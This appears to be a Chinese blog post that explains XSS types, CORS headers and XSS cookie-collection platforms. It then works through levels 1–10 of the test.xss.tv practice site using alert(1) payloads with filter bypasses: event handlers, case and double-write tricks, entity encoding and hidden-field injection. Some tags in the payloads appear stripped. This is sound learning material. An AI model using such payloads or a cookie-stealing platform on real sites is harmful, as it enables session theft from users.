在了解xss之前,可以先了解一下下面这些内容
1.AJAX实现异步更新、跨域
2.常用命令document.write();``alert("");``document.cookie;
3.payload—意思为有效载荷,概念验证,即是漏洞验证脚本;
Ajax跨域
1.允许单个域名访问
指定某域名跨域访问,只需在http://xx.com/xx.php
文件头部添加如下代码:
header('Access-Control-Allow-Origin:http://xx.com');
2.允许所有域名访问
允许所有域名跨域访问,只需在http://xx.com/xx.php
文件头部添加如下代码:
header('Access-Control-Allow-Origin:*');
3.允许多个域名访问
JS获取url
获取当前域名
方法一
var domain = document.domain;
方法二
var domain = window.location.host;
注意问题
由于获取到的当前域名不包括 http://,所以把获取到的域名赋给 a 标签的 href 时,别忘了加上 http://,否则单击链接时导航会出错。
其他想了解请看js获取当前域名、Url、相对路径和参数以及指定参数
最大区别:一个存储在服务器端,一个存储在客户端
XSS攻击全称跨站脚本攻击(Cross Site Scripting),XSS是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,Hacker共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”
不经过服务器,通过修改页面的DOM节点形成的XSS
这种漏洞存在于页面中客户端脚本自身
攻击过程:
H给U发送一个恶意构造了Web的URL,U点击并查看了这个URL。恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在U电脑上。具有漏洞的HTML页面包含了在U电脑本地域执行的JavaScript。H的恶意脚本可以在U的电脑上执行U所持有的权限下的命令。
经过服务器,存进数据库
该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
攻击过程:
A拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 H注意到A的站点具有存储式XXS漏洞, H发布一个热点信息,吸引其它用户纷纷阅读。 A或者是任何的其他人U浏览该信息,其会话cookies或者其它信息将被H盗走。
只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。类似存储式漏洞,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能注入到动态页面中。
攻击过程:
U经常浏览某个网站A。U使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)在网站A中。 H发现A站点包含反射性的XSS漏洞,编写一利用漏洞的URL,并将其冒充为来自A的邮件给U。 U在登录到A的站点后,浏览H供的URL。嵌入到URL中的恶意脚本在U的浏览器中执行,然后在U完全不知情的情况下将这些信息发送到H的Web站点。
header("X-XSS-Protection:0");//告诉服务器禁用XSS保护
header("X-XSS-Protection:1");//告诉服务器开启XSS保护
劫持访问就是在恶意脚本中插入诸如的代码,那么页面就会跳转到百度首页。劫持访问在持久型和非持久型XSS中都比较常被利用。持久型XSS中劫持访问的危害不用说大家都清楚,但有人会问非持久型XSS中劫持访问有什么作用呢?很简单,试想下像qq.com,baidu.com这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过qq.com等域名进行跳转,一般人一看到qq.com之类的域名警惕性会下降,也就更容易上当了。
由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie,这也就是xss平台的作用了。网上的xss平台很多,但动手搭建一个也不难,建议有条件的自己搭建。
首先登录平台后台获取到js脚本地址为http://127.0.0.1/XSS/template/default.js,所以我们需要做的是把这段代码植入指定页面。
<script type="text/javascript" src="http://127.0.0.1/XSS/template/default.js">script>
了解的差不多了,下面我开始去在线平台练习了。。。
**一般思路:普通注入–>普通闭合注入(带标签)–>触发事件注入(特殊字符被过滤)–>双关键字、大小写和超链接注入(触发事件的关键字被过滤)–>HTML实体编码绕过–>**HTTP头流量包注入
下面都是我在在线平台上的练习。做题之后发现查看源码大法真的好。。。。
Level1
页面没有输入点,所以直接构造payload就行啦
http://test.xss.tv/level1.php?name=
&submit=submit
该注入能产生说明程序员没有过滤或用引号包裹任何参数内容,也就是说后台代码直接解析执行参数值。这就造成在弱类型的语言中,原本是正常的字符串被当作代码执行,形成该XSS漏洞
标签的GET型XSS所以直接用双引号闭合value,然后构造payload
http://test.xss.tv/level2.php?keyword=">
&submit=submit
选择在URL处直接注入代码,带标签的GET型XSS和普通的GET型XSS最大的区别就是普通的GET型XSS的参数可以直接被解析,而带
标签的GET型XSS还需要闭合原本的
input窗口
,然后才能注入ShellCode
Level3
原先给的url是
http://test.xss.tv/level3.php?writing=wait
而查看源码发现
value里并没有属性值,因为表单提交里并没有name为writing的,所以把writing改为keyword。闭合value进行普通注入
发现过滤了尖括号 ,所以带有尖括号的ShellCode不能用了。所以在此换思路采用触发事件属性:
http://test.xss.tv/level3.php?keyword='onclick='javascript:alert(1)'&submit=submit
注意:上面用的是onclick
点击事件,所以还要点击一下输入框才会有弹窗
Level4
这道题和Level3的做法相同,查看源码发现,把单引号闭合value换成双引号闭合value就ok啦!
http://test.xss.tv/level3.php?keyword="onclick="javascript:alert(1)"&submit=submit
当特殊字符都被过滤了,再考虑触发事件,触发事件的关键字也被过滤了,就要找哪些还没有被过滤
Level5
先使用触发事件测试一下
http://test.xss.tv/level5.php?keyword="οnclick="javascript:alert(1)"
然后查看源代码
<form action=level5.php method=GET>
<input type=submit name=submit value=搜索 />
form>
发现onclick
关键字中间被加了下划线。然后我选择使用双关键字和大小写进行绕过,结果没有成功。显然,这种是用双关键字和大小写绕过不了的。然后,我考虑了一下超链接
http://test.xss.tv/level5.php?keyword=">
或者
http://test.xss.tv/level5.php?keyword=">点一下//
Level6
我考虑了一下用超链接测试
http://test.xss.tv/level6.php?keyword=">点一下//
然后查看源代码
<form action=level6.php method=GET>
<input name=keyword value=""><a hr_ef="javascript:alert(1)">点一下a>//">
<input type=submit name=submit value=搜索 />
form>
发现href
关键字中间被加了下划线。然后我再使用大小写进行绕过。将e
大写
http://test.xss.tv/level6.php?keyword=">点一下//
然后点击蓝字就成功了。
Level7
将Level6的第二步大小写绕过,改为双写绕过就行了
http://test.xss.tv/level7.php?keyword=">点一下//
HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&
、#
、;
不能被过滤。
Level8
首先我尝试在输入框里输入
javascript:alert(1)
查看源代码
<form action=level8.php method=GET>
<input name=keyword value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
发现关键字javascript
被加上了下划线
这里就可以选择用实体编码了,将javascript
的t
或script
进行实体编码javascript
或
javascript
然后构造payload
javascript:alert(1)
填入输入框,点击添加友情链接
然后再点友情链接
,就成功了。
HTML可以识别,执行文件的正则匹配不会成功,从而达到绕过。编码绕过的方式还有好多种,比如十六进制编码
、jsfuck编码
、url编码
等。
Level9
Javascript会被替换为javasc_rpt,尝试用html实体编码绕过,将r编码为r
用Level8的payload试了下,提示链接不合法,必须要有http://
关键字
于是构造payload
javascript:%0dhttp://www.0aa.me%0dalert(1)
%0a %0d都为url编码的换行符
或
javascript:alert("http://")
Level10
keyword注入点,<、>都被过滤,几乎不能突破。查看源码发现有几个type=hidden的输入框
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
form>
keyword参数后面输入:
&t_link=” type=”text” 1&t_history=” type=”text” 2&t_sort =” type=”text” 3
查看注入点,发现t_sort字段可以注入(也可以一个一个的查找注入点) 。然后构造payload:
&t_sort=" type="text"οnmοuseοver=alert`1` "
或onclick触发事件
http://test.xss.tv/level10.php?t_sort=4" onclick=alert(1) type="text"
下面的几关好像需要抓包工具进行抓包,我还不怎么会,就暂且先总结这么多吧!后续补上下面的内容。
未完待续。。。。。。。。。。。。。。。。。。。。。。。。。。